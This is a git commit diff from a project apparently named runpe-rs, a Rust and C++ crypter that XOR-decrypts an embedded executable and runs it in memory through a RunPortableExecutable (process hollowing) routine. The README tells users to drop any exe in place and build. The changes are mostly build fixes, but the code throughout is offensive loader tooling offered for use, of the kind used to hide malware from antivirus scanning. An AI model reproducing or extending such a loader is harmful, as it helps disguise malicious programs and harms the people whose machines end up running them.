fdsd
This commit is contained in:
3
.cargo/config.toml
Normal file
3
.cargo/config.toml
Normal file
@@ -0,0 +1,3 @@
|
|||||||
|
[build]
|
||||||
|
rustflags = ["-C", "linker=g++"]
|
||||||
|
target = "i686-pc-windows-gnu"
|
||||||
10
README.md
Normal file
10
README.md
Normal file
@@ -0,0 +1,10 @@
|
|||||||
|
# runpe-rs
|
||||||
|
|
||||||
|
## Requirements
|
||||||
|
- Mingw32 gcc/g++ (`g++` in PATH)
|
||||||
|
- Rust target `i686-pc-windows-gnu`
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
1. put exe to `exe/s.exe`
|
||||||
|
2. `cargo build --release`
|
||||||
|
3. voila!
|
||||||
@@ -1,4 +1,5 @@
|
|||||||
#include <iostream> // Standard C++ library for console I/O
|
#include <iostream>
|
||||||
|
#include <fstream>
|
||||||
#include <string> // Standard C++ Library for string manip
|
#include <string> // Standard C++ Library for string manip
|
||||||
|
|
||||||
#include <Windows.h> // WinAPI Header
|
#include <Windows.h> // WinAPI Header
|
||||||
@@ -90,4 +91,5 @@ extern "C" int RunPortableExecutable(void* Image)
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
return 0;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -8,11 +8,11 @@ fn xor_crypt(input: &mut [u8], key: u8) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
static BYTES: &[u8] = include_bytes!("crypt.bin");
|
static BYTES: &[u8] = include_bytes!("../crypt.bin");
|
||||||
|
|
||||||
fn main() {
|
fn main() {
|
||||||
let mut bytes = BYTES.clone();
|
let mut bytes = BYTES.to_vec();
|
||||||
xor_crypt(&mut bytes, 0x42);
|
xor_crypt(bytes.as_mut_slice(), 0x42);
|
||||||
|
|
||||||
run_portable_executable(bytes).unwrap();
|
run_portable_executable(bytes.as_slice()).unwrap();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,5 +1,5 @@
|
|||||||
extern "C" {
|
unsafe extern "C" {
|
||||||
fn RunPortableExecutable(Image: *mut std::ffi::c_void) -> i32;
|
unsafe fn RunPortableExecutable(Image: *mut std::ffi::c_void) -> i32;
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn run_portable_executable(image: &[u8]) -> Result<i32, &'static str> {
|
pub fn run_portable_executable(image: &[u8]) -> Result<i32, &'static str> {
|
||||||
@@ -7,7 +7,7 @@ pub fn run_portable_executable(image: &[u8]) -> Result<i32, &'static str> {
|
|||||||
return Err("Empty byte slice passed");
|
return Err("Empty byte slice passed");
|
||||||
}
|
}
|
||||||
|
|
||||||
let ptr = image.as_ptr() as *mut c_void;
|
let ptr = image.as_ptr() as *mut std::ffi::c_void;
|
||||||
|
|
||||||
let result = unsafe { RunPortableExecutable(ptr) };
|
let result = unsafe { RunPortableExecutable(ptr) };
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user